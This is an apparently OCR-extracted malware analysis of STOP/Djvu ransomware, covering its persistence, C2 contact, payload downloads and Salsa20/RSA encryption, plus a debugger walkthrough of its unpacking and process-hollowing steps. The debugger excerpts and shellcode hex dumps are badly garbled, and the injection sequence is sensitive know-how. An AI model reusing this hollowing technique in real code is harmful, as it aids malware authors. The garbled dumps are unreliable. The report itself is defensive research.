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Summary

STOP/Djvu ransomware is not a very known ransomware like Conti, REvil or BlackMatter,
however ESET ranked it on the 3rd place in the top ransomware families in Q2 2020
(https://www.welivesecurity.com/wp-

content/uploads/2020/07/ESET_Threat Report Q22020.pdf). This ransomware can run with
one of the following parameters: “—~Admin”, “~Task”, “—AutoStart”, “—~ForNetRes”, and “—
Service”. The process doesn’t target specific countries based on their country code, and also
decrypts a list of files, file extensions and folders that will be skipped. Two persistence
mechanisms are implemented: a Run registry key and a scheduled task created using COM
objects. The malware computes the MD5 hash of the MAC address and performs a GET
request to the C2 server based on it. The binary also acts as a downloader for 2 malicious
files called build2.exe and build3.exe. The victim ID is decrypted using the XOR operator and
then written to a file called PersonallD.txt. Both local drives and network shares are targeted
by the malware, and the files are encrypted using the Salsa20 algorithm. The Salsa20 matrix
used for encrypting files is based on a UUID generated using the UuidCreate API, which is
encrypted using an embedded RSA public key (if the C2 server is unreachable) or a public
key downloaded from the C2 server. The RSA implementation found in the executable is
taken from the OpenSSL project hosted at https://github.com/openssl/openssil.

Analyst: @GeeksCyber
Technical analysis
SHA256: 4380c45fd46d1a63cffe4d37cf33b0710330a766b7700af86020a936cdd09cbe

The following PDB path can be found in the binary:
“C:\xudihiguhe\jegovicatusocaljijetogez\winucet\xusev\kucor.pdb”. There is a call to
GlobalAlloc that allocates several bytes from the heap:

E gf; E — EEE‘;“ CEE——— AoIee sk o iz F 0 dhied O

i<
dword ptr [D041A018 <f1le.&GlobalAlloc>]=<kernel32.Globalalloc>

v e
S Z|ls_tlL] uriod
1: [esp] 00000000
2: [esp+d] OOO90FOB
3: p+8] OOLSFEDS
5 : [espsC] 0041986D file.0041986D
- Text:004190CE file.exe: $190CE #184CE 5: [esp+10] 0001C91B

00000000
D0030F

@Woump 1  Eoump2  Woump3  EYpump4  Moumps @ watchi  (e=llocals Y struct OO19EEED

Figure 1
The malware calls the LoadLibraryW function in order to load the “kernel32.dlI” file into the
address space of the process:
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| u,,.. V& 430660" s20c50 PR G =
m ds.[mnadL1hra.ryd‘>] [ ——

" | Defauit (stdcal) > [5 3] unlock

[1: [esp) ooAzZoCED L'kermetazoall™ —

dword ptr [0041A01C <f1le.&Loadiibraryws]=<kernel32.LoadLibraryws esp+r4] 00000000
H esw!] O019FEDE
i Eesrn-cj 0013FEDS

: [esp+10] 00419004 file.0041900A

. TEXT:0041910E Tile.exe:$1910E #1850E

[ S— M a | e i s | e [P CEE VRS B o

Figure 2
The GetProcAddress APl is utilized to retrieve the address of the “VirtualProtect” function:

8 BO 61 48 00 push file.4B86180 | 486180 NB7SW_C1 O XB87SW_CO O xB7SW_ES 0O
88 15 3C FA 80 00 mov edx,dword ptr ds:[8DFA3C] XB7SW_SF 0 XB7SW_P 0 XxB7SW U O
ush_edx e i e N T 1T
Fl‘ 15 4C AD 41 00 Ih dword ptr ds;[<4GetProcAddress>] | v =
RS S TR o T * |5 210 unlock

dword ptr [DO041A04C <file.&GerProcAddress>]=<kernel32.GetProcAddress>

< Text:004191C0 file.exe: $191C0 #185C0

Woumpt  oump2  @oump3  Wbumpd  @Moumps @ watch1  Ieeltocals 4 Stuct
Figure 3
The memory area allocated above is filled in by the malware, and the VirtualProtect routine is
used to change its protection to 0x40 = PAGE_EXECUTE_READWRITE:

A8 IM_® 3 LEMPLY)  RBSIML/ 3 LEMPLY)

push eax
vV eCxX o r s55:febp-8
Path el Scio-o@ x87Statusword 0000
mov edx,dword ptr ds:[8E0138] HETSW_B O x87SW.C3 0 xB7SW L2 O
push edx XB7SW_ C1 O XB7SW. CO 0 XB7SWES O
mov eax,dword ptr ds:[807884] XSTSW_SF 0 XBTSWP 0 XB7SWU O
ush eax cemm A A e PR -~
Ik! (dword pre de:[<avirtualProtects] | v L _m

~ [5 +](] unlock

dword ptr [DO4BTOAC <file.&VirtualProtect>]=<kernel32.virtualProtect> %’ esp+d OOOQDFDS
33 esp+8] 00000040
4: [esp+C] OO19EESO

- TeXT:004191E0 File.exne:$191E0 #185E0 [ [gsgugj} 00000040

@oump1  YlDuwmp2 WHDump3  WDump4  WHDumps @ watchi  bellocas ) stut
Address !m lﬁi’ i

DZADZ020 4L 44 9C AD |38 FD 92 25|49 98 4A 0B[A6 54 93 21| «oBY XTI 3. Tu |

Figure 4

There is also a lot of garbage code in the binary that is never executed, as shown in figure 5:
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il i =

text:@0419783 lea ecx, [ebptNumberOfEventsRead]
text:8841978E push ecx ; lpNumberOfEventsRead
text:8841978F push e ; nLength

Ltext: 28419711 lea edx, [ebptBuffer]

Ltext: 88419717 push edx ; lpBuffer
Ltext:88419718 push & ; hConsoleInput
Ltext:8e41971A call ds:ReadConsocleInputA

Ltext 88419728 push ] ; uSsize

text: 20419722 lea eax, [ebptvar A73]

Ltext: 88419728 push eax ; lpBuffer

text: 88419729 call ds :GetSystemkows4Directoryl
Ltext:8841972F push e ; uSize

Ltext: 88419731 lea ecx, [ebpt+var_1278]

.text: 88419737 push ecx ; lpBuffer
.text:88419738 call ds:GetSystemidindowsDirectoryA
text:8841973E lea edx, [ebp+CPInfoEx]

Jtext: 80419744 push edx ; 1pCPInfoEx

Ltewt: 88419745 push @ ; dwFlags

Ltext: 88419747 push e ; CodePage

Ltext: 88419749 call ds :GetCPInToExk

Ltext:8841974F push & 3 lpvalue
.text:88419751 push @ ; lpName
Ltext:88419753 call ds:SetEnvironmentVariabled

Ltext: 88419759 push ] ; lpstartupInfo

text: 88419758 call ds:GetStartupInfod

text: 88419761 push offset szFile ; "bojosoboxufevitabanufu lodan™
text:88419766 push e ; uSizeStruct

Ltext: 28419768 lea eax, [ebptStruct]

.text:8841976E push eax ; 1lpStruct
.text:8841976F push offset szKey ; "dobacu vunubeficapixozeyorolezowodaw ja©...
text:8e419774 push offset szSection ; "volozowepuyuyigokakifurizigucas sedinum™...
text:@ed419779 call ds:GetPrivateProfileStructA

Ll

Ltext: 88419707 push & ; lpSecurityaAttributes
Ltext: 88419709 push e ; nbefaultTimeOut
.text:8841970B push e ; nInBufferSize

Ltext: 88419700 push 8 3 nOutBufferSize
Ltext:884197DF push & ; nMaxInstances
.text:884197EL push ] ; dwPipeMode
Ltext:884197E3 push ] ; dwOpenMode
text:@e4197ES push offset aVocikizifonefa ; "vocikizifonefakifohihezederomaritefibaf™...
text:@a4197EA call ds:CreateNamedPipesd

Figure 5

The process jumps at the beginning of the new shellcode, as highlighted below:
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FE—F— e v~ FF 25 84 7B 8D 00 ]mp dword ptr ds:[8D7BE4]
L < »

Jump is taken

dword ptr [file.008D7BB84]=02A02020

.text:00419846 Tile.exe:$19846 #18C46

4y Dump 1 % Dump 2 4% Dump 3 % Dump 4 %% Dump 5 8 watch 1 Ix=] Locals 2 struct 00D19CFBO g;
Address | Hex ASCII o [
02AD2020|E8 01 00 00|00 C3 55 8B[EC 8D 45 C4[83 EC 3C 50|E....AU.1.EA.7<P mugc;EE i
02AD2030|ES 0D 00 00|00 8D 45 C4|50 E8 88 07 |00 00 59 59(&.....EAPE....¥Y oo1acECo | 74
0D2AD2040(C2 C3 55 BB|EC 83 EC 38|53 56 57 BBE|45 08 C6& 00 Eﬁ.u.1.1ssw.'.E.x. 0019CFC 4 | O
02AD2050|00 83 &5 FC|00 E8 00 00|00 00 58 89|45 FO 81 45 ei] B....X.ED. E oD1scECs | o
02AD2060(F0O CE 07 00|00 8B 45 08|8B 4D FO 89|48 04 BB 45 .E..MB.H. oo19cFoe | o
02AD2070(FO 82 CO 2D (BB 4D 08 89|41 08 &8 86|57 0D 00 &8 a A M..A.h. *.\..h 0013cEDn | o:
02AD2080( 88 4E 0D 0OO|ES 1A 00 00|00 89 45 F8|68 FA 8B 34 .Eshil. 4 0013CED4 | 0
02AD2090( 00 68 88 4E|0D 00 ES 08|00 00 00 89|45 CC E9 BS h e EIép 0019CEDS | 0:
D2AD20A0| 00 00 00D 55|8B EC 53 56|57 51 &4 FF|35 30 00 00 NTR 1sw-qdysn o01scEDe | o
D2A020B0|00 58 8B 40|0C 8B 48 OC|8E 11 8B 41(20 64 02 8B|.X.@,.H. ADJ.:_ 0013CEED | O
02AD20C0O(7D 08 57 S0O|E8 5B 00 00|00 85 CO 74|04 8B CA EB } wPa[ ht..B& 0019CFE4 | O
02A0Z0D0|E7 8B 41 18|50 8B 58 3C|03 C3 8B 58|78 58 50 03|L.A.P.X<. A XXXP. DOIREEES |5
02AD20EQ|D& 8B 4B 1C|BB 53 20 S8B|S5E 24 03 C8|03 DO 02 D8|8.K..5 .[$.E.D.B seEmaiasld
D2AD20F0| 8B 32 58 50|03 FO 6A D1|FF 75 OC 56|E8S 23 00 00 .2xp.ai.j:ru.via#.. oo13cEED | o
02AD2100|00 85 CO 74|08 83 C2 04|83 C3 02 EB|E3 58 33 D2 LRV 0013cEE4 | 0
02AD2110(66 8B 13 C1|E2 02 03 CA|03 01 59 5F|5E SB 8B E5|T..Ad..E..v_Af TG
02AD2120(5D C2 08 00|55 8B EC 51|53 52 33 C9|33 DB 33 Dz|]A.. 1QSR3E3030 muvc;;'? o
02AD2130( 8B 45 08 8A|10 80 CA 60|03 DA D1 E3|03 45 10 8A|.E....E .URA.E. 00190000 | 0t
02A02140|08 84 C9 EO|EE 33 CO SB|4D OC 3B D9|74 D1 40 5A ..E‘aiBA.M.;Ut.@z nna annna | 2°
02AD2150(5B 59 8B E5|5D C2 OC 0O0|8B 45 08 8B|4D F8 89 48| [Y.&]A...E..MB.H vl ¢

OZAOTILO] AN DD AL noloo Ay DolAD 14 03 LC 2 o5 03 SO | =4 MY L ab =
Figure 6

The binary retrieves the address of the following functions using GetProcAddress:
“GlobalAlloc”, “GetLastError”, “Sleep”, “VirtualAlloc”, “CreateToolhelp32Snapshot”,
“‘Module32First”, “CloseHandle”. CreateToolhelp32Snapshot is utilized to take a snapshot of
the current process that includes all its modules (0x8 = TH32CS_SNAPMODULE):

b=yl DZAOZTE 6A 00 push o | XBTSW_SF 0 )\8?5'\‘ P 0 xB7SW_U o
o | 02a027EC &4 08 jpu'i;‘ ;mrﬂ —— b e
g FF 56 28 ca’ prr ds:[esi=28 esi+d v e
ol vy T ' maar| fault (stdcall) AL <0 5

espl 00000008

2: [esp+4] 00000000

3; [esp+8] 00401890 <file.EntryPoint>
4: [esp+C] 00401B30 <file.EntryPoint>
5: [esp+10] 0025F000

“Woump1 @yoump2  @oump3  ENoumps  Uoump5 @ warch1  br-liocals ) Struct m|

Figure 7
The ransomware extracts information about the first module of the process using the
Module32First API:

’Wzﬂ_ﬁkam_&Fiﬁ EToo1help32snapshots=<kernel32,CreateTool helpa2snapshots

02AD27EE

|| D2A0280C ng Dus: e_a‘sn KB7SW_SF 0O NB7SW_P 0 XB7SW_U o
el 024028 7 push edi | e S < =
g FF 56 2C | €all dword prr ds:[esisac] |Tesis2 v |© =
. e e J s | Default (stdcal) >[5 0] unlock
———— —_— — — 1: [esp] D0OODOOD
d ptr [esi+2c]=[0013CF94 <aModule3ZFirst>]=<kernel32.Module3zFirst> 2: [esp+4] 0013CD34

eso+8 004016830 <file.EntryPoint>
tespﬂ: 00401830 <File.EntryPoint>
L esp+10] 0025F000

¥oump1  @Youmpz  @oump3  @oumps  Whoumps @ watch1  beliocals P struet %mﬂ
Figure 8
The malicious process allocates and populates a new memory area via a function call to

VirtualAlloc (0x1000 = MEM_COMMIT and 0x40 = PAGE_EXECUTE_READWRITE):

=i
4
02ADZBOE 5

| . BA 40 push 4 AT 1ML 3 LEMMLY)  AGIM_i 3 LMY

! . €8 00 10 00 00 push 1000

il - 8B 45 0B mov eax,dword ptr = x87Statusword 0000

i - o4 mov eax,dword ptr METSW_B O xB7SW.C3 0 x87SW.C2 0O

! . push dword ptr ds XB7SW_C1 O xB7SW_.CO 0O xB7SW_E5 O

| - push ( )15?5‘\‘ SF U NBTSW_P 0 HBTSW_| U o

i . [m:‘eax,du&m;td p;r It B — =
| call dword ptr ds eax+l v =1

L - , T i s

‘dword ptr [eax+24]=[D019CFBC <&virtualAllocs]=<kernel3z.virtualAllocs Eespﬂnéé i i_.\: 59,\0
esp+8] 00001000
esp+C] 00000040

02A024D6 _ESD+10; FC239120

WWoumpt  oump2  Wloump3  Moump4  Woumps @ watch1  beeltocals ' stuct
Address |ascxz |

Figure 9
The process jumps at the beginning of the new shellcode, as highlighted below:

4/43



mﬂ—)‘——)a « FF 65 FC jmp dword ptr ss:[ebp-4]
] e == gt
>

Jump is taken

dword ptr [ebp-4]1=[0013CD18]=02DA00D0D

D2AD250D

i " " " " [ z 9 o
W Dump 1 Pyoump2 @ Dump3 @ Dump4 B4 Dump 5 % Watch 1 [x=|Locals 4 Struct D019CD14]| 0
address | Hex ASCII o || )
D2DAD000 [JES 2B 06 00|00 C3 CC CC|CC CC CC CC|CC CC CC CC|@+...AIIIITIIIEY ifgi;ggﬁﬁ .':S
02DADD10| 55 8B EC 83|EC 08 53 56|57 65 86 57 (0D 00 68 88|U.31.3.5vwh.W..h. [iU.;CD;‘ a
02DA0DZ0 | 4E 0D 00 ES|1A 00 00 00|89 45 F8 68 FA 8B 34 00|N..E..... Eshil. 4. oo1aco2a|| a
02DADD30| 68 53 4E 0D |00 ES 08 00|00 00 89 45 |FC E9 BS 00| h.N. LEUéy. oo1acozc ||
02DADD40| 00 00 55 8B|EC 53 56 57|51 &4 FF 35|30 00 00 00|..U. 1swqdysn iniactan ||id
02DADOS0|58 8B 40 OC|8B 48 0OC 88|11 8B 41 30|6A 02 8B 7D|X. @, .H....AD]. T oo1aco34l| a
02DADDE0| 08 57 50 EB|SE 00 00 00|85 CO 74 04|8B CA EB E7|.wPe[.. LAt. Eet; ooracoaal| a
D2DA0070| 8E 41 18 S50(8B 58 3C 03|C3 BE 58 78|58 50 03 D8|.A.P.X< .A.xxxp.ﬁ i Tacnac i
02DADDS0| BB 4B 1C BB|53 20 BB SEB|24 03 C8 03|DO 032 D8 BB|.K..5 .[%.E aoraco4o || a
02DADD90| 32 58 50 D3 |FO 6A 01 FF|75 OC 56 E8|23 00 00 00 2xP ai V. \-E# oo1aco44 || a
02DADDAD| B85 CO 74 08|83 C2 04 83|C3 02 EB E3|55 33 D2 66 . eaxzof bt |
02DAD0DBO| 8B 12 C1 E2|02 03 CA 03|01 59 5F SE|S5B 8B E5 5D Aa E..¥_A[.4)] niu;Emc 5
02DADOCO|C2Z 08 00 55|88 EC 51 53|52 23 C9 33|DB 33 D2 88|A..U. 1qu3£3&30 ooracosoll a
02DADODO | 45 08 8A 10|80 CA 60 03|DA D1 E3 03|45 10 BA 08| E. .URa.E. muéEDS' &
D2DAODEC| 84 C9 EO EE|33 CO 8B 4D|0C 3B D9 74|01 40 5A SB|.Eai3A.M. sUt. @z e |4
02DADOFO|59 8B ES 5D|C2 OC 00 8B|45 08 8B 4D |F8 89 08 8B|Y.4lA...E..Ms.,, BoTeenrllE
02DA0DL00 |55 OC 8B 45 |FC B9 02 5F|SE 5B 8B ES (5D €3 CC CC|U..Ed.._~[.&]AII i‘tu;com] a
02DAD110 |55 8B EC 81|EC 84 00 00|00 90 90 90(C7 45 FO O1|U.3.7....... CED BRSO E |
02DAD120| 00 00 00 C7|45 FQ 02 00|00 00 8B 45|08 8B 48 0OC|...CEd. SJESEHY e e
02DADL120 39 4D D4 3B|S5 08 8B 42|0C 8B 4D D4 |03 41 3¢ 89| .mb.u..EB..MO. A«: vl <

OIOAOT AN EQ CA NAICD O A0 O0lon S0 2 O00 2lon o0 S8 A0l Cad b 51
Figure 10

The malware calls the LoadLibraryA API to load the following DLLs into memory: user32.dll,

kernel32.dll and ntdll.dll. It also retrieves the address of the following functions:
“‘MessageBoxA”, “GetMessageExtralnfo”, “WinExec”, “CreateFileA”, “WriteFile”,
“CloseHandle”, “CreateProcessA”, “GetThreadContext”, “VirtualAlloc”, “VirtualAllocEx”,
“VirtualFree”, “ReadProcessMemory”, “WriteProcessMemory”, “SetThreadContext”,

“‘ResumeThread”, “WaitForSingleObject”, “GetModuleFileNameA”, “GetCommandLineA”,

“‘NtUnmapViewOfSection”, “NtWriteVirtualMemory”, “RegisterClassExA”,
“CreateWindowEXxA”, “PostMessageA”, “GetMessageA”, “DefWindowProcA”,
“GetFileAttributesA”, “GetStartupInfoA”, “VirtualProtectEx”, “ExitProcess”.

From our perspective, the malware developers have implemented some actions that don’t

influence the main execution flow as an anti-analysis mechanism. GetFileAttributesA is used

to retrieve file system attributes for a non-existent file:

{ push eax eax:"a MBTSW.C1 O XB7SW.CO O XB7SW_ES O

! mov ecx,dword ptr ss5:[Qebp+z) MB7SW_SF O XB7SW_P o xB7SW_U o

' mov_edx,dword ptr ds:[ecx+74] edx: Ge SRR RS

L e VI etk | edxi Ge [P —

| T, B AR R N 2 - Default (stdcall) * |5 v_DUnlDd
R—— ,1: Fun] 0019CASD "apfHQ”

| [esp+4] TEATS0C4 kernel32.TEATS0CH
3 [esp+8 4BEETOEL

4: [esp+C] 00190051
uzoaus EC |s: lesp+10] 00000000

- Ghim_ - | e a | e .| e e @Bt et | e IEEYE 0015CA50 | “aptHa”

Flgure 11
The file registers a window class called “saodkfnosa9uin” using the RegisterClassExA
routine:

50 push eax X87SW_C1 0 XB87SW.CO O XB7SW_ES O
8B 40 08 mov ecx,dword ptr s55:[Jebp+sl xs?sn' sF D xs?sh'_P 0 xB8TSW_U o
1 8B 51 &0 mov_edx,dword ptr ds:[ecx+&0] edx i T —— -
B FF 02 | eall edx Itdh R-hﬁ e ==,
= LS e = 5 Default (stdcal) ~ [5 13100 unlodk
N—— R N— JIT T 9F0
edx=<user3z.RegisterclassExA> (75D073F0) i 2: 5:214?“15'45:5;.-3
|3: [esp+s] eFEEGEEE
| 4: [esp+C] 75396173
02DA04FL _ ls5: lesp+1D] 0000BEE3
- P FWocux#o
@oump1  WNpump2  WHoump3  EUpump4  WMouwmps @ watch1  lellocals i stuct 1 G46FBL73
Address | Hex (ASCIT 1 1a| 5§§§§f§§
DO1SCHF0 | 30 0D 00 00|00 00 00 00|ED 81 0& 77|00 00 00 00 O.. Bw. 0000EEED
0019CA00 | 00 mwmmuumwlmwwm'mwmm|... 00000001
DO1SCALO0 |06 OO OO0 O0|00 00 00 00|00 €3 19 0000 00 00 00| secerrrs sl g1acecen
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The CreateWindowEXA function is utilized to create a new window (0x200 =
WS_EX_CLIENTEDGE, O0xCF0000 = WS_OVERLAPPEDWINDOW, 0x80000000 =
CW_USEDEFAULT):

L---38 || D2DAD4FF 6A 00 push 0 x87rS 00000000000000000000 STS Empty O.000000000
®|| 02DAO50L 64 00 push 0 XE7r& 00000000000000000000 STE EmpTy O.00000000i
o|[ 020A0503 6A 00 push 0 x87r7 00000000000000000000 ST7 Empty O.00000000!
| 02DA0505 6A 00 pl.ll:
®|| 02DADS07 68 E8 03 00 0O push 3E8 XE7Tagword FFFF
e | 02DA0S0C 68 EB 03 0O 00 push 3E8
o 0z0a0511 €8 00 00 00 8O pUSh 20000000 X67TW.0 3 (Empty) X67TW_1 3 (Empty)

o 020A0516 &8 00 00 00 80 XBTTW_2 3 (WW) X87TTW_3 3 (Empty)
push S0000000

of 020480518 €8 00 00 CF 00 XBTTW_4 3 (] x87TW_S 3 (Empty)
»| 0zpacs20 8D 4D A4 ptr ss:febp-scl ecx:Cr XBTTW_6 3 (W"-VJ X8TTW_7 3 (EmpTy)
ol DZDAOS23 51
®|[ 02DAOS24 8 ss:ffebp-7of x875tatusword 0000
&l 02DA052T 52 KB7SW_B 0 XB7SW.C3 0 xB7SwW C2 O
e 020AD528 68 XB7SW_C1 0 xB7SW.CO 0O xB7SW_ES 0O
o|  02DA05 20 88 ss:[jebp+sl 7SW_P O Xx87SW.U O
®|l 02040530 58 mov_ecx (dword ptr ds:(eax-64 aE

- il T 0w

esp+4] 0013CI00 "saodkfnosasuin”
esp+8] 0019C9E4 "mfoaskdfnoa”

Fi
02DAD533 ::D

@oump1  @Ypump2 @ watch1  [eellocals 4 Stuct

9co 3
0013€AZ0 w FFFF FF FF|i0 CA 19 0088 G0 £8 76
0019CA30 00 00 00 OO(00 00 OO 00

ad LA 12 00 G2 CF 19 00
0013CA40 28.CC 13 00 FF FF FF FF
0019CAS0 61 70“4!51001900020000@5;000000 ag‘ﬂl] 3
S < - B

Flgure 13
The process allocates a new memory area via a function call to VirtualAlloc (0x1000 =
MEM_COMMIT and 0x4 = PAGE_READWRITE):

x87Statusword 0020

KETSW_B 0 XB7SW_C3
¥B7SW_C1 0 xB7SW.CO 0O xB7SW_ES O
XEBTSW_SF O XB7SW_P 1 X87SW_U o

~ [5 2] 0] Unocs

0 x87sw C2 0

020A0156
% oump 1

% Dump 2

Inzlgure 14
The ransomware extracts the content of the STARTUPINFO structure:

XB75W_C1 0 xB7SW_CO 0O xB7SW_ES 0O
XB7SW_S5F 0 xB7SW_P 1 xB7SwW_U [+]

=[5 2] 0] unock

51

00A021F
DZDAD22D
02DAD223

88 55 08
88 82 84 00 00 00

| .

Figure 15
The malware creates a copy of itself in a suspended state via a call to CreateProcessA
(0x08000004 = CREATE_NO_WINDOW | CREATE_SUSPENDED):

Flgure 16

| e ozpAozze 51 ush ecx ecx:cr x87r4 00000000000000000000 ST4 Empty O.000000000
o[ ozpa0z2F 80 55 80 ea ed:.duord ptr ss:lebp-20ll X87r5 00000000000000000000 srs EmMpTY 0. 000000001
o|[02pan232 52 push edx:"c x87r6 3FFFB000000000000000 STE Empty 1.00000000!
o|[02pa0233 64 00 push ﬂ X87r7 3FFFEDBTOCYTSDF22363 ST7 EmMpTy 1.10714871
o|[ 02pAD23s 6A 00 push 0
o|[o2pA0237 68 04 00 00 08 push 8000004 x87Tagword FFFF
: ggg:gg;g a g n::: g X87TW_0 3 (Empty) xB7TwW._1 3 (EmpTy)

o 02080240 64 00 =ush 0 u:?‘m_i : E:‘"gg ":;“‘—3 : EE"'?;
o|| 02040242 BB 45 08 mov eax,dword ptr ss:ffebprs] XS7TH_. np XE7TTW_S mpTy
o[ 020A0245 88 48 5¢C mov_ecx,dword ptr ds:!eax—fsc] ecx:Cr [ X87TW_6 3 (Empty)  x87TW_7 3 (Empty)
o |[02pA0248 FF D1 ecx ecx:cr

o|| 02DADZ4A 50 push 2ax xg7Statusword 0020

o|| 0zDA0D24B BB 55 mov edx,dword ptr ss:febp-14] XB7SW_B O xB7SW L3 0 xB7SW L2 O
ol 0zDA0Z4E 52 push edx X875W.C1 O XB7SW.LCO O X87SW_ES O
# || 02DADZ4F BB 45 mov eax d-urd ptr XB7SW_SF 0 xXB7SW F 1 xB7SWU O
e|lozpanzs2 88 45 mov_ecx

= !

ol
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GetThreadContext is used to retrieve the context of a specific thread:

push edx | edx: Ge XB7Statusword 0020

mov eax,dword ptr ss:[ebp-24§ XBTSW_B O X87SW.C3 0 xB7SW. C2 O

push eax XB7SW_CL 0 XB7SW CO 0O X87SW_ES O

mov ecx,dword prr ss:febp-sj KBTSW_SF 0 XS7SW_P 1 xB7SW.U O

mov edx,dword ptr ds:[ecx+34] edx: Ge cmm s A s P -~

| call edx |eduiGe v [= = — T
g s |Defut (stdca) ~ [s_#CIunos

: [esp]l 00000150
2: [esp+4] 02AADDOD
3: [esp+8] 00000000
4: [esp+C] 00000044
5 esp+10] 02BASASS

| #owp1 | @Howpz @Houps Eoups  Woups @worhi  j-llock | J St e

Figure 17
The malicious binary unmaps a view of a section from the address of the newly created
process using ZwUnmapViewOfSection:

52 push edx edx: Zn XE7Statusword D020
8B 45 DB mov eax,dword ptr s3:febp-25) METSW_B 0O NXBTSW_C3

i 0 xB7SW.C2 0O
| 50 push eax XB7SW_C1 0O XB7SW_CO 0O xB7SW_ES O
' 88 40 08 mov ecx,dword ptr ss:Bebp+sj] NBTSW_SF 0O xB7SW_P 1 x875wW_U o
i L 8B 51 7C l&yf.e::n,‘dmrd ptr ds:|ecx+7C] {em::wn f —rom oo o i = -
FE— FF D2 ral’ N ST e
e = ot I
s

. s L= - 1z pl 00000154
1.Zwunmapviewofsection> (7704EA20) E8 cspv-\} 00400000 T11e.00400000
Henk
4: esp+l
02DA0ZES 52 esgﬂoj 02BA5A98
@oump1 @Mourp2 UMoump3 BMoump4  WMoumps @ wahi  leltocaks Y stuct mm,cm o e pe;

Figure 18
The VirtualAllocEx routine is utilized to allocate new space in the newly created process
(0x3000 = MEM_COMMIT | MEM_RESERVE and 0x40 = PAGE_EXECUTE_READWRITE):

- €8 00 30 00 00 Push 3000 XBF TR A TEEE
[ 0 0 ;
88 45 F8 mov eax,dword prr ss:febp-sj eax:vi KAZVM O3 (CMERYD  NAZIM.L 3 (CMPTY)
88 48 50 mov ecx,dword ptr ds:[eax+50] Jrlvee (o) xortwd 3 Cemuiv]
51 ush ecx XETTW_4 moTy x mpTy
8B 55 F8 Rov edx,dword ptr s3:febp-s) [ebp-g [ X87TW.E 3 (Empty) XEBZTW 7 3 (Empry)
BB 42 34 mov eax,dword ptr d::%edx-:-ﬂ max:
50 push eax ean: v xB75tatusword 0020
BB 4D DB mov ecx,dword ptr ss:febp-28] MB7SW_B O xB7SW C3 0 xB87SW CZ2 O
51 push ecx KB7SW_C1 O XB7SW.CO O xB87SW_ES O
BB 55 08 mov edx,dword ptr ss:febp+sl XB7SW_SF O x87SW_P 1 xB7SW_U O
8B 42 3C mov &ax,dword prr ds:[eds+3C] L
Eg—| FF DO 1 eax - = BaNiVvi v =
I i ST A T e =, | Default (stdcal) =[5 £]Juniecs
—— 1: [esp] 00000154 = -
eax=<kernelsz.virtualallocEx> (76AT6890) ¥ 2: [esp+4} 00400000 T11e, 00400000
| 3: [esp+8] 00137000
' 4: [esp+c] 00003000
020DA0304 Is: [gspua; 00000040
i ;] 4
Woump1  @oump2z  YHoump3  @oump4  WMoumps @ warchi  Ixelrocal | struct G019 330 | 00400000 | T11e. 00400000
Address | Hex | ascIT I | ~ | 0013C934 | 00137000
e 0019C938 | 00003000
0015C990 [0 00 40 0020 CA 19 00/AQ 15 DA 02(54 01 00 O0|L.2. E.. -U,T.,.l | 0019C93C | DO0OOO40

Figure 19
The ransomware writes data to the area allocated above using multiple calls to
ZwWriteVirtualMemory, as displayed in figure 20:
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®|| 02080309
02DAD30E ptr n:!ehp—ul
ptr ds: [ecx+54]
tr ss: L]
:tr ﬂs!:c::c
ptr ss:febp-30f
02DADIC
0ZDADEID mov ss:[Jebp-25f D xBTSW.CZ O
020A0320 XB7SW_C1 O 0 XBTSW_ES ©
02080321 ’ tlebp-5l NETSW_SF O 1 KETSW_U O
02020324

G i i f *[ 0w

e, 00400000

xB7Tagword FFFF

XB7TW_7 3 (Empty)

0204032
Woue1  @ouwpz Souwe3s  Woumos  Soumps 88 wawhi

H.IFM‘.‘S_AQEOE!_!‘SWQ(!?DMQEEWFFFEWDG_ - (R 3 )
¥ D2DA036C 6A 00 S Mush o T 0 Empty O 0
L} 0DA0FGE 88 55 E& mov edx,dword ptr ss: p= 1 edu:In XB7rs 00000000000000000000 STS Empty 0. 000000004
) 42 dword ptr ds: [eds-10 edu+10 XB7r6 IFFFEO0OD000000000000 5TE Empty 1. 00000000
H X87r7 3FFFEDBTOCITSOF22363 ST7 EMPTy 1,10714871
: T e soolll e
' i 4 XBTT. d FFFF
: a3 En oy eax tword, pix. S4icbh 10 [ebp-l || xe7Tw. D 3 (Empty)  X87TW.1 3 (EmpTy)
i PRE: Lewy BdiZn || xa7Tw_2 3 (Empry) X87TW_3 3 (Empry)
i 40 pir ss:[ebp-1. [ebp-1 %B7TW_4 3 (Empty) x87TW_5 3 (Empty)
' 55 DO ptr ss: n-!ﬂ eduizw || X67TW_6 3 (Empty) X87TTW_7 3 (Empty)
H 51 ptr ds: [ecxsC] edx:Zn
i Bebp-2:50 L 0 xB7TSW.C2 ©
2 45 ptr ss: p-2 X
i 0 X87SW_ES ©
4 o X87SW_P 1 X87TSW U ©
i edx, dword ds: L -

' s5: n-:.eT edi: In

H ds: [&dx+ 10, sdx+10 G0000000
1 xB7r7 IFFFEDBTOCYTSDF22363 ST7 Empty 1.107148717
i ptr ss:febp=

H ptr ds: lecx+C gduiZu | xerTaguord FRFe

4 P i Teaaas [ebp-l | xe7Tw 0 3 (Empty) x87TW.1 3 (Empry)

! = Su 7w || XB7TH_2 3 (Empty) x87TW_3 3 (Empry)

i ptr ss:febp-1 [ebp-1 xBFTW_4 3 (Empty) xBTTW_S 3 (Empty)

H ptr :s:!el:n—s £dZn X87TW_7 3 (Empty)

i ptr ds: [ecx+C] edxiZn

4 edxizw || XBFStatusword 0020

i ptr ss:febp-25§ XBTSW_B O xB7SW.C3 O xBTSW_C2 O

2 XB7SW_C1 O XB75W CO O X87SW_ES ©

1 XB7SW_SF O xB7SW_P 1 xB7SW U O

H

H

- [5_[2]0] unlock
MC file. 004CC000
FAD
0D030C00
00000000

xB 00000 30000000 o
mov edx,dword ptr ss: P 1 e Zn XBTrS 00000000000000000000 5TS Empty 0. 00000000
42 10 mov eax,dword ptr ds: [edws10, edus10 xB7r6 IFFFEOO000000000000 5TE Empty 1.00000000
push eax XB7r7 3FFFBDB7OCITSDF2Z363 5T7 Empty 1.10714871
mov !esn,ws ptr ;s: e =
mov edx,dword ptr ds: lecxec x:Zw || xB7Tagword FFFF
200 Soxword pir da [ea-is Sicizal || TTAL % (o) sETMLY 3 faty)
push edx Saniw | %87TW_2 3 (EmpTy]  xB7TTW_3 3 (EmpTy)
mov ecx,dword ptr ss:febp-1 [ebp-1 || %87TW_4 3 (Bmpty)  X87TW.S 3 (Empty)
mov edx,dword ptr ss:febp-3 edwizw || XETTW_6 3 (EmpTy)  XSTTW_7 3 (Empry)
add edx,dword ptr ds:[ecx+C edx: Zn
push et I 7 ! e In xX875Tatusword 0020
mov eax,dword ptr ss:febp-25) XBFSW_B O x87SW C3 O xB7SW CE O
